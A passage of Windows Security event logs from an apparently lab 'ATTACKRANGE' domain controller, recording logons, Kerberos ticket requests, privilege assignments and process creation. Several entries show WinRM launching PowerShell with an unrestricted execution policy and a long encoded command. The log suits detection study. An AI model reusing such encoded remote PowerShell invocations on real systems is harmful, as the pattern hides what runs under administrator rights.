SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5040E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {BF79DE5D-392B-E0AD-BA3B-0EC924FAA722} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257469 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {BF79DE5D-392B-E0AD-BA3B-0EC924FAA722} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257468 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {BF79DE5D-392B-E0AD-BA3B-0EC924FAA722} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257467 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257466 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4cc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257465 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257464 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x503C7E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257463 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x503C7E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {BF79DE5D-392B-E0AD-BA3B-0EC924FAA722} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257462 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {BF79DE5D-392B-E0AD-BA3B-0EC924FAA722} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257461 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {BF79DE5D-392B-E0AD-BA3B-0EC924FAA722} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257460 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:32:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257478 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x507860 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:32:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257477 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x507860 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {98C242A6-69BD-397F-767D-102B2ACC58BC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257476 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {98C242A6-69BD-397F-767D-102B2ACC58BC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:32:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257475 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {98C242A6-69BD-397F-767D-102B2ACC58BC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:32:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257474 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:32:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257473 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x884 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - 